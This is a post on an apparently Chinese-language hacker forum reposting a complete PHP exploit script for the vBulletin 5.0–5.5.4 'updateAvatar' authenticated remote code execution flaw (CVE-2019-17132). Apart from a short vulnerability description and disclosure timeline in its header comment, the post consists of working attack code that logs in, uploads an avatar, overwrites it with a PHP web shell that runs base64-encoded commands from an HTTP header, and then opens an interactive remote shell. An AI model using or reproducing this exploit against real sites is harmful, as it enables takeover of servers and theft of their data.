跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

vBulletin 5.0 < 5.5.4 - 'updateAvatar' Authenticated Remote Code Execution

精选回复

发布于
<?php

/*
    ---------------------------------------------------------------------
    vBulletin <= 5.5.4 (updateAvatar) Remote Code Execution Vulnerability
    ---------------------------------------------------------------------
    
    author..............: Egidio Romano aka EgiX
    mail................: n0b0d13s[at]gmail[dot]com
    software link.......: https://www.vbulletin.com/
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Vulnerability Description:
      
    User input passed through the "data[extension]" and "data[filedata]" parameters to
    the "ajax/api/user/updateAvatar" endpoint is not properly validated before being used
    to update users' avatars. This can be exploited to inject and execute arbitrary PHP code.
    Successful exploitation of this vulnerability requires the "Save Avatars as Files" option
    to be enabled (disabled by default).

    [-] Disclosure timeline:
    
    [30/09/2019] - Vendor notified
    [03/10/2019] - Patch released: https://bit.ly/2OptAzI
    [04/10/2019] - CVE number assigned (CVE-2019-17132)
    [07/10/2019] - Public disclosure

*/

set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[-] cURL extension required!\n");

print "+-------------------------------------------------------------------------+";
print "\n| vBulletin <= 5.5.4 (updateAvatar) Remote Code Execution Exploit by EgiX |";
print "\n+-------------------------------------------------------------------------+\n";

if ($argc != 4)
{
	print "\nUsage......: php $argv[0] <URL> <Username> <Password>\n";
	print "\nExample....: php $argv[0] http://localhost/vb/ user passwd";
	print "\nExample....: php $argv[0] https://vbulletin.com/ evil hacker\n\n";
	die();
}

list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];

$ch = curl_init();

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);

print "\n[-] Logging in with username '{$user}' and password '{$pass}'\n";

curl_setopt($ch, CURLOPT_URL, $url);

if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[-] Session ID not found!\n");

curl_setopt($ch, CURLOPT_URL, "{$url}?routestring=auth/login");
curl_setopt($ch, CURLOPT_HTTPHEADER, $sid);
curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$user}&password={$pass}");

if (!preg_match("/Cookie: .*sessionhash=[^;]+/", curl_exec($ch), $sid)) die("[-] Login failed!\n");

print "[-] Logged-in! Retrieving security token...\n";

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, $sid);

if (!preg_match('/token": "([^"]+)"/', curl_exec($ch), $token)) die("[-] Security token not found!\n");

print "[-] Uploading new avatar...\n";

$params = ["profilePhotoFile" => new CURLFile("avatar.jpeg"), "securitytoken" => $token[1]];

curl_setopt($ch, CURLOPT_URL, "{$url}?routestring=profile/upload-profilepicture");
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
curl_setopt($ch, CURLOPT_HEADER, false);

if (($path = (json_decode(curl_exec($ch)))->avatarpath) == null) die("[-] Upload failed!\n");

if (preg_match('/image\.php\?/', $path)) die("[-] Sorry, the 'Save Avatars as Files' option is disabled!\n");

print "[-] Updating avatar with PHP shell...\n";

$php_code = '<?php print("____"); passthru(base64_decode($_SERVER["HTTP_CMD"])); ?>';

$params = ["routestring" => "ajax/api/user/updateAvatar",
           "userid" => 0,
           "avatarid" => 0,
           "data[extension]" => "php",
           "data[filedata]" => $php_code,
           "securitytoken" => $token[1]];

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));

if (curl_exec($ch) !== "true") die("[-] Update failed!\n");

print "[-] Launching shell...\n";

preg_match('/(\d+)\.jpeg/', $path, $m);
$path = preg_replace('/(\d+)\.jpeg/', ($m[1]+1).".php", $path);

curl_setopt($ch, CURLOPT_URL, "{$url}core/{$path}");
curl_setopt($ch, CURLOPT_POST, false);

while(1)
{
    print "\nvb-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".base64_encode($cmd)]);
    preg_match('/____(.*)/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
            

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。